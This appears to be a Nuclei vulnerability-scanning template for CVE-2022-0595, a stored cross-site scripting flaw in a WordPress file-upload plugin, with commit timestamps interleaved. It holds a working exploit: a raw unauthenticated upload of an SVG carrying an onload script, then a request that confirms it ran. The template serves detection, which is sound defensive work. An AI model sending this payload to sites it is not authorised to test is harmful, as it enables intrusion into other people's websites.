2022-04-24 09:53:15 +00:00
id : CVE-2022-0595
info :
2022-09-10 01:55:52 +00:00
name : WordPress Contact Form 7 <1.3.6.3 - Stored Cross-Site Scripting
2022-04-24 09:53:15 +00:00
author : akincibor
2022-09-10 02:12:57 +00:00
severity : medium
2022-09-10 01:55:52 +00:00
description : |
WordPress Contact Form 7 before 1.3.6.3 contains an unauthenticated stored cross-site scripting vulnerability in the Drag and Drop Multiple File Upload plugin. SVG files can be uploaded by default via the dnd_codedropz_upload AJAX action.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to unauthorized access, data theft, or defacement.
2023-09-06 11:59:08 +00:00
remediation : |
Update the WordPress Contact Form 7 plugin to version 1.3.6.3 or later to mitigate the vulnerability.
2022-04-24 09:53:15 +00:00
reference :
- https://wpscan.com/vulnerability/1b849957-eaca-47ea-8f84-23a3a98cc8de
2022-05-17 09:18:12 +00:00
- https://plugins.trac.wordpress.org/changeset/2686614
2024-03-23 09:28:19 +00:00
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
2022-04-24 10:05:04 +00:00
classification :
2022-09-10 02:12:57 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score : 5.4
2022-09-10 01:55:52 +00:00
cve-id : CVE-2022-0595
2022-09-10 02:12:57 +00:00
cwe-id : CWE-79
2023-10-19 10:38:59 +00:00
epss-score : 0.00102
2024-03-23 09:28:19 +00:00
epss-percentile : 0.40538
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:codedropz:drag_and_drop_multiple_file_upload_-_contact_form_7:*:*:*:*:*:wordpress:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : codedropz
product : drag_and_drop_multiple_file_upload_-_contact_form_7
2023-09-06 11:59:08 +00:00
framework : wordpress
2023-12-05 09:50:33 +00:00
tags : cve,cve2022,xss,wordpress,wp-plugin,wpscan,fileupload,intrusive,unauth,codedropz
2022-04-24 09:53:15 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-04-24 09:53:15 +00:00
- raw :
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host : {{Hostname}}
Content-Type : multipart/form-data; boundary=---------------------------92633278134516118923780781161
-----------------------------92633278134516118923780781161
Content-Disposition : form-data; name="size_limit"
10485760
-----------------------------92633278134516118923780781161
Content-Disposition : form-data; name="action"
dnd_codedropz_upload
-----------------------------92633278134516118923780781161
Content-Disposition : form-data; name="type"
click
-----------------------------92633278134516118923780781161
Content-Disposition : form-data; name="upload-file"; filename="{{randstr}}.svg"
Content-Type : image/jpeg
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
-----------------------------92633278134516118923780781161 --
- |
GET /wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/{{randstr}}.svg HTTP/1.1
Host : {{Hostname}}
matchers :
- type : dsl
dsl :
- 'contains(body_2, "alert(document.domain)")'
- 'status_code_2 == 200'
condition : and
2024-03-25 11:57:16 +00:00
# digest: 490a0046304402200bfd837680f36e8110d8eef44bd96b117d17b66466691a831f6465ce55cbfa74022069141b6a4dcc45bebefa8074faac3b961b8bfb9dd121151c45865473254fbde3:922c64590222798bb761d5b6d8e72950